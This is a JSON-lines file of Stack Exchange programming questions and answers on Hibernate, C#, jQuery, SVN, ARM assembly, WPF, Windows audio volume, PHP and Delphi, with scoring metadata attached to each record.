{"id": "hf_383c12a0cb51", "question": "<p>I have a large amount of rows in the database from which I need to create an XML document. I am using hibernate 3. The basic list() method in Criteria and Query interfaces looks dangerous: I quess it pretty much has to read all the records into memory even if I only iterate over them. Or is there some lazy loading magic? If not, I seem to have two options left: using scroll() or iterate() from Query (scroll is also present in Criteria). iterate doesn't look all that great either if I want to have minimal SQL roundtrips: \"The first SQL query returns identifiers only\". So am I right, do I have to use scroll() for this?</p>\n", "question_body": "", "answer": "Use the setMaxResults() method on Criteria.\n```\n```\nCriteria crit = sess.createCriteria(Cat.class);\ncrit.setMaxResults(maxResults);\ncrit.setFirstResult(firstResultIndex);\nList cats = crit.list();\n```\n```\nhttp://hibernate.org/hib_docs/v3/reference/en/html/querycriteria.html\nhttp://www.hibernate.org/hib_docs/v3/api/org/hibernate/Criteria.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.651952"}
{"id": "hf_e253393b8f8a", "question": "<p>Is it possible to catch an recycle event in the global.asax?</p>\n\n<p>I know Application_End will be triggered but is there a way to know that it was triggered by a recycle of the application pool?</p>\n\n<p>thx, Lieven Cardoen aka Johlero</p>\n", "question_body": "", "answer": "I've never tried this myself, but you could try to attach an event handler to the ProcessExit event of the AppDomain.\n```\n```\n...\nAppDomain.CurrentDomain.ProcessExit += new EventHandler(OnExit);\n...\n\nvoid OnExit(object sender, EventArgs e) {\n    // do something\n}\n```\n```\nI hope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.700140"}
{"id": "hf_88bd302cbb69", "question": "<p>When I create a New Project of type ASP.Net MVC Web Application, I expect the dialog for unit test applications to show up, but it does not. I cannot find the Unit Test App among the product types I can create either. How do I set up my VS so that the dialog shows up?</p>\n\n<p>I have installed Visual Studio 2008, .Net Framework 3.5 SP1 and ASP.Net MVC Framework (Beta).</p>\n", "question_body": "", "answer": "As @MrJavaGuy says, you need to install at least the Professional, not Express, version of VS2008.  Alternatively, you can install nUnit and/or TestDriven.Net and get unit testing capabilities.  Info on nUnit can be found at\nhttp://www.nunit.org/\nand TestDriven.Net at\nhttp://www.testdriven.net/\n.  I recommend TestDriven.Net even if you have the testing capabilities of Visual Studio baked in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.724400"}
{"id": "hf_3d934e04994b", "question": "<p>For a newcomer to .NET Web Development and programming in general, who chooses C# as there preferred language?</p>\n\n<p>Is it better to learn C# first, without trying to apply it to web development? It seems most literature for C# uses Console or Windows Forms as a learning platform. So would that be the best direction?</p>\n\n<p>Or should you practice in web development and try to learn C# alongside?</p>\n", "question_body": "", "answer": "You need to understand the fundamentals of C# in order to develop anything useful, be it an ASP.NET website, windows client or web service.\nI would start with some good tutorials around the basics of types, classes, methods, events and so on to get to grips with C#. C# Station has some good introductory tutorials\nhere\n.\nTo develop web specific skills, start with HTML and CSS.\nThen look at how the ASP.NET platform integrates both the C# (application code) and the HTML and CSS (presentational code).\nAnd good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.748580"}
{"id": "hf_68f51fe144cd", "question": "<p>Is there any way to import a database backup from 2005 into 2008 express edition. What I've had to resort to is doing a script the database, then import all the data through DTS. Whenever I tried to import straight from a backup file it says something about not being to import into a new version of sql server or I'll get the below error.</p>\n\n<p>title: Microsoft SQL Server Management Studio</p>\n\n<p>Specified cast is not valid. (SqlManagerUI)</p>\n", "question_body": "", "answer": "SQL 2005 backups should be restored on 2008 without problem (have done that myself many times). What exact error message did you got about versions?\nThe other error (Specified cast is not valid) seems to be Management Studio error, not server error. Have you full rights on 2008 server?\nLook at this question -\nany-reason-to-have-sql-server-2005-and-2008-installed-on-same-machine\n- there are talked both about restoring SQL2005 backups and about attaching SQL2005 data files.\n(Of course you cannot attach production databases. To attach non-production databases just detach them, make file level copy of these and attach copies to new server. Orginal files need to attach to original server too :))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.774483"}
{"id": "hf_8d9ba7159e9a", "question": "<p>What's the best way to merge 2 or more dictionaries (<code>Dictionary&lt;T1,T2&gt;</code>) in C#?\n(3.0 features like LINQ are fine).</p>\n\n<p>I'm thinking of a method signature along the lines of:</p>\n\n<pre><code>public static Dictionary&lt;TKey,TValue&gt;\n                 Merge&lt;TKey,TValue&gt;(Dictionary&lt;TKey,TValue&gt;[] dictionaries);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>public static Dictionary&lt;TKey,TValue&gt;\n                 Merge&lt;TKey,TValue&gt;(IEnumerable&lt;Dictionary&lt;TKey,TValue&gt;&gt; dictionaries);\n</code></pre>\n\n<p><strong>EDIT:</strong> Got a cool solution from JaredPar and Jon Skeet, but I was thinking of something that handles duplicate keys. In case of collision, it doesn't matter which value is saved to the dict as long as it's consistent.</p>\n", "question_body": "", "answer": "The trivial solution would be:\n```\n```\nusing System.Collections.Generic;\n...\npublic static Dictionary<TKey, TValue>\n    Merge<TKey,TValue>(IEnumerable<Dictionary<TKey, TValue>> dictionaries)\n{\n    var result = new Dictionary<TKey, TValue>();\n    foreach (var dict in dictionaries)\n        foreach (var x in dict)\n            result[x.Key] = x.Value;\n    return result;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.800488"}
{"id": "hf_84dd2233b8c6", "question": "<p>Could some one point to articles / books on how to create good flow chart diagrams?</p>\n", "question_body": "", "answer": "Tutorial\nhere\n.\nAlso get a copy of Microsoft\nVisio\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.832082"}
{"id": "hf_270a85142395", "question": "<p>I have a delegate, say:</p>\n\n<pre><code>public delegate void MyDelegate();\n</code></pre>\n\n<p>I have an event, say:</p>\n\n<pre><code>public MyDelegate MyEvent;\n</code></pre>\n\n<p>While invoking the event I am receiving an error message:</p>\n\n<blockquote>\n  <p>\"MyEvent += expected .....\"</p>\n</blockquote>\n\n<p>How do I resolve this?</p>\n", "question_body": "", "answer": "You can only invoke the event from within the class where you declared it. In any other place, you can only add or remove handlers from the event delegate via the operators\n```\n+=\n```\nand\n```\n-=\n```\n, hence the error message.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.889246"}
{"id": "hf_9c6911450658", "question": "<p>I have this piece of code:</p>\n\n<pre><code>$(\"#faq\").click(function () {               \n    var url = $.get(\"faq\", { pagina: \"page\" });\n    alert(url);\n});\n</code></pre>\n\n<p>On \"faq\" responds to a Servlet that sets an attribute on the request </p>\n\n<pre><code>....\nrequest.setAttribute(\"pageFAQ\", pageFAQ);\n....\n</code></pre>\n\n<p>After the get jQuery prints [object XmlHttpRequest].</p>\n\n<p>I would like to access to the attribute set in the Servlet but I don't know how to do it.</p>\n", "question_body": "", "answer": "I'm not sure that a servlet request attribute is shared with the client.\nYou can get hold of the response text in jQuery like so:\n```\n```\n$(\"#faq\").click(function () {                   \n  $.get(\n    \"faq\", \n    { pagina: \"page\" },\n    function(data) {    // callback function, executed on GET success\n      alert(data);\n    }\n  );\n});\n```\n```\nAll you need to do is let your servlet return some text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.914805"}
{"id": "hf_ac53f1202416", "question": "<p>Given 2 file revisions I want to know how many lines were added/modified/deleted.\nI want to have this information for the entire repository of thousand of files.\nPlease point me to a script or tool as I am a total svn newbie</p>\n\n<p>I am working on windows</p>\n\n<p>Sample output</p>\n\n<p>File~NewRevision~OldRevision~Added~Modified~Deleted</p>\n\n<p>file1.c~#11~#10~1~2~0</p>\n\n<p>file1.c~#2~#1~2~2~0</p>\n", "question_body": "", "answer": "Subversion has a very nice diff tool integrated within it.  I would use a command such as:\n```\n```\nsvn diff -rOldRevision:NewRevision URL\n```\n```\nwhere URL is the URL of your repository (for instance,\nhttp://www.mycode.org/svn/trunk\n).  This won't format the diff output in the form you are looking for, but it will show how each file has been changed between the two revision numbers.\nFor your formatting, you could use a grep to count how many additions and subtractions occur in each file.\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.952523"}
{"id": "hf_bb7a42859ad6", "question": "<p>How could I create iPhone applications using the .NET development environment?</p>\n", "question_body": "", "answer": "As far as I know, Apple does not support the Microsoft .Net development environment.\nAt most you could hope for is installing\nmono\non a\njailbroken\niphone. Not that I condone this and you do so at your own risk.\nIPhone applications are developed using Objective C or Ruby.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.977901"}
{"id": "hf_3f8de6aab73e", "question": "<p>In ARM assembly immediates are encoded by an 8-bit rotated value which means we can only encode </p>\n\n<pre><code>(0-256)^2n.\n</code></pre>\n\n<p>Now my problem is that I want to clear the upper 16-bits of r0 and replace it with the half-word stored r1. But because of the limited range of the immediates I have to do: -</p>\n\n<pre><code>bic r0, r0, #0xff000000\nbic r0, r0, #0x00ff0000\nadd r0, r0, r1, LSL #16\n</code></pre>\n\n<p>Is it possible to do replace the 2 bic instructions with a single instruction? 0xffff0000 is unencodable. Perhaps I should be using another logical operation to clear the upper 16-bits?</p>\n\n<p>Thanks</p>\n\n<p>EDIT: Sorry I forgot to say that the top 16-bits of r1 is empty, and I'm using an ARM7TDMI</p>\n", "question_body": "", "answer": "If you can clear the whole thing, you could\n```\nxor\n```\nit with itself.\nIf you need to retain the bottom half, might you be able to left-shift the register 8 bits and back? That may be same number of instructions, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.018891"}
{"id": "hf_181f158967e8", "question": "<p>I'm trying to create a WPF application where I can drag an image around.</p>\n\n<p>Currently I have an image placed in the center of the window, and I'm thinking of using the three mouseevents MouseDown, MouseMove and MouseUp to calculate the new position when dragging the image.</p>\n\n<p>Are there any other good ideas on how to do this? I'm totally new to WPF so my mindset is still in the Windows Forms world.</p>\n\n<p>As far as I can see I need to use a \n     \nin order to have absolute positioning available.</p>\n", "question_body": "", "answer": "ok, here's an attached property \"behaviour\" that you can use to make any element draggable provided it's on a canvas:\n```\n```\npublic class DraggableExtender : DependencyObject\n{\n    // This is the dependency property we're exposing - we'll \n    // access this as DraggableExtender.CanDrag=\"true\"/\"false\"\n    public static readonly DependencyProperty CanDragProperty =\n        DependencyProperty.RegisterAttached(\"CanDrag\",\n        typeof(bool),\n        typeof(DraggableExtender),\n        new UIPropertyMetadata(false, OnChangeCanDragProperty));\n\n    // The expected static setter\n    public static void SetCanDrag(UIElement element, bool o)\n    {\n        element.SetValue(CanDragProperty, o);\n    }\n\n    // the expected static getter\n    public static bool GetCanDrag(UIElement element)\n    {\n        return (bool) element.GetValue(CanDragProperty);\n    }\n\n    // This is triggered when the CanDrag property is set. We'll\n    // simply check the element is a UI element and that it is\n    // within a canvas. If it is, we'll hook into the mouse events\n    private static void OnChangeCanDragProperty(DependencyObject d, \n              DependencyPropertyChangedEventArgs e)\n    {\n        UIElement element = d as UIElement;\n        if (element == null) return;\n\n        if (e.NewValue != e.OldValue)\n        {\n            if ((bool)e.NewValue)\n            {\n                element.PreviewMouseDown += element_PreviewMouseDown;\n                element.PreviewMouseUp += element_PreviewMouseUp;\n                element.PreviewMouseMove += element_PreviewMouseMove;\n            }\n            else\n            {\n                element.PreviewMouseDown -= element_PreviewMouseDown;\n                element.PreviewMouseUp -= element_PreviewMouseUp;\n                element.PreviewMouseMove -= element_PreviewMouseMove;\n            }\n        }\n    }\n\n    // Determine if we're presently dragging\n    private static bool _isDragging = false;\n    // The offset from the top, left of the item being dragged \n    // and the original mouse down\n    private static Point _offset;\n\n    // This is triggered when the mouse button is pressed \n    // on the element being hooked\n    static void element_PreviewMouseDown(object sender,\n            System.Windows.Input.MouseButtonEventArgs e)\n    {\n        // Ensure it's a framework element as we'll need to \n        // get access to the visual tree\n        FrameworkElement element = sender as FrameworkElement;\n        if (element == null) return;\n\n        // start dragging and get the offset of the mouse \n        // relative to the element\n        _isDragging = true;\n        _offset = e.GetPosition(element);\n    }\n\n    // This is triggered when the mouse is moved over the element\n    private static void element_PreviewMouseMove(object sender, \n              MouseEventArgs e)\n    {\n        // If we're not dragging, don't bother - also validate the element\n        if (!_isDragging) return;\n\n        FrameworkElement element = sender as FrameworkElement;\n        if (element == null) return;\n\n        Canvas canvas = element.Parent as Canvas;\n        if( canvas == null ) return;\n\n        // Get the position of the mouse relative to the canvas\n        Point mousePoint = e.GetPosition(canvas);\n\n        // Offset the mouse position by the original offset position\n        mousePoint.Offset(-_offset.X, -_offset.Y);\n\n        // Move the element on the canvas\n        element.SetValue(Canvas.LeftProperty, mousePoint.X);\n        element.SetValue(Canvas.TopProperty, mousePoint.Y);\n    }\n\n    // this is triggered when the mouse is released\n    private static void element_PreviewMouseUp(object sender, \n            MouseButtonEventArgs e)\n    {\n        _isDragging = false;\n    }\n\n}\n```\n```\nYou can then use this in your XAML by importing the namespace your class is contained in (something like this:)\n```\n```\n<Window x:Class=\"WPFFunWithDragging.Window1\"\n        xmlns:local=\"clr-namespace:WPFFunWithDragging\" .. >\n```\n```\nAnd then you can just set DraggableExtender.CanDrag=\"true\" on elements to drag around:\n```\n```\n<Canvas>\n    <Image Source=\"Garden.jpg\" \n           Width=\"50\" \n           Canvas.Left=\"10\" Canvas.Top=\"10\" \n           local:DraggableExtender.CanDrag=\"true\"/>\n</Canvas>\n```\n```\nHope this is of some use :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.043639"}
{"id": "hf_2ee5e1ccb66e", "question": "<p>I'm looking for an open-source SGML parser written in plain C. This is to parse bona-fide SGML, not malformed stuff.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "This came up on a fast Google search (\nsgml c parser\n):\nhttp://www.w3.org/Library/src/SGML.html\n. Does that help?\nOr perhaps this one:\nhttp://www.math.utah.edu/pub/sgml/sgmls/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.068658"}
{"id": "hf_8771fbcccc95", "question": "<p>I'm working on an assignment that is telling me to assume that I have a singly linked list with a header and tail nodes.  It wants me to insert an item y before position p.  Can anybody please look over my code and tell me if I'm on the right track?  If not, can you provide me with any tips or pointers (no pun intended)?  </p>\n\n<pre><code>tmp = new Node();\ntmp.element = p.element;\ntmp.next = p.next;\np.element = y;\np.next = tmp;\n</code></pre>\n\n<p>I think I may be wrong because I do not utilize the header and tail nodes at all even though they are specifically mentioned in the description of the problem.  I was thinking of writing a while loop to traverse the list until it found p and tackle the problem that way but that wouldn't be constant-time, would it?</p>\n", "question_body": "", "answer": "Just write it down if you get stuck with an algorithm:\n```\n```\n// First we have a pointer to a node containing element (elm) \n// with possible a next element.\n// Graphically drawn as:\n// p -> [elm] -> ???\n\ntmp = new Node();\n// A new node is created. Variable tmp points to the new node which \n// currently has no value.\n// p   -> [elm] -> ???\n// tmp -> [?]\n\ntmp.element = p.element;\n\n// The new node now has the same element as the original.\n// p   -> [elm] -> ???\n// tmp -> [elm]\n\ntmp.next = p.next;\n\n// The new node now has the same next node as the original.\n// p   -> [elm] -> ???\n// tmp -> [elm] -> ???\n\np.element = y;\n\n// The original node now contains the element y.\n// p   -> [y] -> ???\n// tmp -> [elm] -> ???\n\np.next = tmp;\n\n// The new node is now the next node from the following.\n// p   -> [y] -> [elm] -> ???\n// tmp -> [elm] -> ???\n```\n```\nYou have the required effect, but it can be more efficient and I bet you can now find out yourself.\nIt is more clear to write something like:\n```\n```\ntmp = new Node();\ntmp.element = y;\ntmp.next = p;\np = tmp;\n```\n```\nWhich of course does not work if p is not mutable. But your algorithm fails if p == NULL.\nBut what I meant to say, is, if you have problems with an algorithm, just write the effects out. Especially with trees and linked lists, you need to be sure all pointers are pointing to the righ direction, else you get a big mess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.092533"}
{"id": "hf_f36d730f04ae", "question": "<p>Suppose that I have a <code>&lt;div&gt;</code> that I wish to center in the browser's display (viewport). To do so, I need to calculate the width and height of the <code>&lt;div&gt;</code> element. </p>\n\n<p>What should I use? Please include information on browser compatibility.</p>\n", "question_body": "", "answer": "NOTE\n:\nthis answer was written in 2008. At the time the best cross-browser solution for most people really was to use jQuery. I'm leaving the answer here for posterity and, if you're using jQuery, this is a good way to do it. If you're using some other framework or pure JavaScript the accepted answer is probably the way to go.\nAs of jQuery 1.2.6 you can use one of the core\nCSS functions\n,\n```\nheight\n```\nand\n```\nwidth\n```\n(or\n```\nouterHeight\n```\nand\n```\nouterWidth\n```\n, as appropriate).\n```\n```\nvar height = $(\"#myDiv\").height();\nvar width = $(\"#myDiv\").width();\n\nvar docHeight = $(document).height();\nvar docWidth = $(document).width();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.117844"}
{"id": "hf_74312ee36564", "question": "<p>Has anyone able to assign multiple users to a sharepoint workflow task using the CreateTask activity?</p>\n", "question_body": "", "answer": "What version? WSS V3 or MOSS?\nIs the \"Create Task\" bound to the Task List? If so then only one person at a time. Unless you have an AD group with a bunch of people or you modify the list to include SharePoint groups in the assigned to field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.153273"}
{"id": "hf_d7cdf051d468", "question": "<p>I want to use svn command line with beyond compare and get the following output</p>\n\n<pre><code>Text Compare\nProduced: 11/16/2008 11:45:34 AM\n\nSourceFile,CompareFile,IOriginal,IAdded,IDeleted,IChanged,UOriginal,UAdded,UDeleted,UChanged\n\"E:\\Downloads\\eeli\\eel\\1.c\",\"E:\\Downloads\\eeli\\eel\\2.c\",967,192,501,270,368,113,205,89\n</code></pre>\n\n<p>What is the exact commandline?</p>\n", "question_body": "", "answer": "Put this in (for example) c:\\bin\\bcsvn.bat\n```\n```\n@REM To configure this as the Subversion diff command, add these lines to\n@REM    c:\\Documents and Settings\\username\\Application Data\\Subversion\\config:\n@REM\n@REM [helpers]\n@REM diff-cmd = c:\\bin\\bcsvn.bat\n@REM\n@\"C:\\Progra~1\\Beyond~1\\bcomp.exe\" \"%6\" /title1=%3 \"%7\" /title2=%5\n@exit 0\n```\n```\nYou'll might have to fix up the path to bcomp.exe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.212132"}
{"id": "hf_b5d20556f50b", "question": "<p>How can I change the master volume level? Using this code</p>\n\n<pre><code>[DllImport (\"winmm.dll\")]\npublic static extern int waveOutSetVolume (IntPtr hwo, uint dwVolume);\n\nwaveOutSetVolume (IntPtr.Zero, (((uint)uint.MaxValue &amp; 0x0000ffff) | ((uint)uint.MaxValue &lt;&lt; 16)));\n</code></pre>\n\n<p>I can set the wave volume but if the master volume is too low this won't have any effect.</p>\n\n<p>Thanks for any help.</p>\n", "question_body": "", "answer": "For the master volume (for Vista and above), that would be:\nISimpleAudioVolume::SetMasterVolume\nAs explained\nhere\n, you may refer to the section:\nCore Audio APIs in Windows Vista\nfor more.\nThis call is not a Media Foundation call but a WASAPI (Windows Audio Session API) call:\n ISimpleAudioVolume::SetMasterVolume (The SetMasterVolume method sets the master volume level for the audio session.)\nThis may be difficult however to make the UI of the Media Center reflect the new sound level set by that call, as this\nthread illustrates\nit.\nFor windows Xp, you can study this\nscript\nand maybe\nthis other script\n.\nAudio Library\nmight also be of interest.\nThere is also this old\nAudio Project\nwhich hasa master volume part:\n```\n```\nBOOL CVolumeDlg::amdInitialize()\n{\n    ASSERT(m_hMixer == NULL);\n\n    // get the number of mixer devices present in the system\n    m_nNumMixers = ::mixerGetNumDevs();\n\n    m_hMixer = NULL;\n    ::ZeroMemory(&m_mxcaps, sizeof(MIXERCAPS));\n\n    m_strDstLineName.Empty();\n    m_strVolumeControlName.Empty();\n    m_dwMinimum = 0;\n    m_dwMaximum = 0;\n    m_dwVolumeControlID = 0;\n\n    // open the first mixer\n    // A \"mapper\" for audio mixer devices does not currently exist.\n    if (m_nNumMixers != 0)\n    {\n        if (::mixerOpen(&m_hMixer,\n                        0,\n                        reinterpret_cast<DWORD>(this->GetSafeHwnd()),\n                        NULL,\n                        MIXER_OBJECTF_MIXER | CALLBACK_WINDOW)\n            != MMSYSERR_NOERROR)\n        {\n            return FALSE;\n        }\n\n        if (::mixerGetDevCaps(reinterpret_cast<UINT>(m_hMixer),\n                              &m_mxcaps, sizeof(MIXERCAPS))\n            != MMSYSERR_NOERROR)\n        {\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}\n\nBOOL CVolumeDlg::amdUninitialize()\n{\n    BOOL bSucc = TRUE;\n\n    if (m_hMixer != NULL)\n    {\n        bSucc = (::mixerClose(m_hMixer) == MMSYSERR_NOERROR);\n        m_hMixer = NULL;\n    }\n\n    return bSucc;\n}\n\nBOOL CVolumeDlg::amdGetMasterVolumeControl()\n{\n    if (m_hMixer == NULL)\n    {\n        return FALSE;\n    }\n\n    // get dwLineID\n    MIXERLINE mxl;\n    mxl.cbStruct = sizeof(MIXERLINE);\n    mxl.dwComponentType = MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;\n    if (::mixerGetLineInfo(reinterpret_cast<HMIXEROBJ>(m_hMixer),\n                           &mxl,\n                           MIXER_OBJECTF_HMIXER |\n                           MIXER_GETLINEINFOF_COMPONENTTYPE)\n        != MMSYSERR_NOERROR)\n    {\n        return FALSE;\n    }\n\n    // get dwControlID\n    MIXERCONTROL mxc;\n    MIXERLINECONTROLS mxlc;\n    mxlc.cbStruct = sizeof(MIXERLINECONTROLS);\n    mxlc.dwLineID = mxl.dwLineID;\n    mxlc.dwControlType = MIXERCONTROL_CONTROLTYPE_VOLUME;\n    mxlc.cControls = 1;\n    mxlc.cbmxctrl = sizeof(MIXERCONTROL);\n    mxlc.pamxctrl = &mxc;\n    if (::mixerGetLineControls(reinterpret_cast<HMIXEROBJ>(m_hMixer),\n                               &mxlc,\n                               MIXER_OBJECTF_HMIXER |\n                               MIXER_GETLINECONTROLSF_ONEBYTYPE)\n        != MMSYSERR_NOERROR)\n    {\n        return FALSE;\n    }\n\n    // store dwControlID\n    m_strDstLineName = mxl.szName;\n    m_strVolumeControlName = mxc.szName;\n    m_dwMinimum = mxc.Bounds.dwMinimum;\n    m_dwMaximum = mxc.Bounds.dwMaximum;\n    m_dwVolumeControlID = mxc.dwControlID;\n\n    return TRUE;\n}\n\nBOOL CVolumeDlg::amdGetMasterVolumeValue(DWORD &dwVal) const\n{\n    if (m_hMixer == NULL)\n    {\n        return FALSE;\n    }\n\n    MIXERCONTROLDETAILS_UNSIGNED mxcdVolume;\n    MIXERCONTROLDETAILS mxcd;\n    mxcd.cbStruct = sizeof(MIXERCONTROLDETAILS);\n    mxcd.dwControlID = m_dwVolumeControlID;\n    mxcd.cChannels = 1;\n    mxcd.cMultipleItems = 0;\n    mxcd.cbDetails = sizeof(MIXERCONTROLDETAILS_UNSIGNED);\n    mxcd.paDetails = &mxcdVolume;\n    if (::mixerGetControlDetails(reinterpret_cast<HMIXEROBJ>(m_hMixer),\n                                 &mxcd,\n                                 MIXER_OBJECTF_HMIXER |\n                                 MIXER_GETCONTROLDETAILSF_VALUE)\n        != MMSYSERR_NOERROR)\n    {\n        return FALSE;\n    }\n\n    dwVal = mxcdVolume.dwValue;\n\n    return TRUE;\n}\n\nBOOL CVolumeDlg::amdSetMasterVolumeValue(DWORD dwVal) const\n{\n    if (m_hMixer == NULL)\n    {\n        return FALSE;\n    }\n\n    MIXERCONTROLDETAILS_UNSIGNED mxcdVolume = { dwVal };\n    MIXERCONTROLDETAILS mxcd;\n    mxcd.cbStruct = sizeof(MIXERCONTROLDETAILS);\n    mxcd.dwControlID = m_dwVolumeControlID;\n    mxcd.cChannels = 1;\n    mxcd.cMultipleItems = 0;\n    mxcd.cbDetails = sizeof(MIXERCONTROLDETAILS_UNSIGNED);\n    mxcd.paDetails = &mxcdVolume;\n    if (::mixerSetControlDetails(reinterpret_cast<HMIXEROBJ>(m_hMixer),\n                                 &mxcd,\n                                 MIXER_OBJECTF_HMIXER |\n                                 MIXER_SETCONTROLDETAILSF_VALUE)\n        != MMSYSERR_NOERROR)\n    {\n        return FALSE;\n    }\n\n    return TRUE;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.236181"}
{"id": "hf_7c8f555351b0", "question": "<p>Python provides the \"*\" operator for unpacking a list of tuples and giving them to a function as arguments, like so:</p>\n\n<pre><code>args = [3, 6]\nrange(*args)            # call with arguments unpacked from a list\n</code></pre>\n\n<p>This is equivalent to:</p>\n\n<pre><code>range(3, 6)\n</code></pre>\n\n<p>Does anyone know if there is a way to achieve this in PHP? Some googling for variations of \"PHP Unpack\" hasn't immediately turned up anything.. perhaps it's called something different in PHP?</p>\n", "question_body": "", "answer": "You can use\n```\ncall_user_func_array()\n```\nto achieve that:\n```\ncall_user_func_array(\"range\", $args);\n```\nto use your example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.297681"}
{"id": "hf_eccc6fef6d8c", "question": "<p>I have a TDbGrid, and I can easily tell how many columns are in it at runtime with the FieldCount property, but there doesn't seem to be a corresponding RowCount property to display how many records are being displayed.  How can I find this out?</p>\n", "question_body": "", "answer": "You could try:\n```\n```\nDBGrid1.DataSource.DataSet.RecordCount\n```\n```\nMaybe there are better solutions. But this worked for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.322356"}
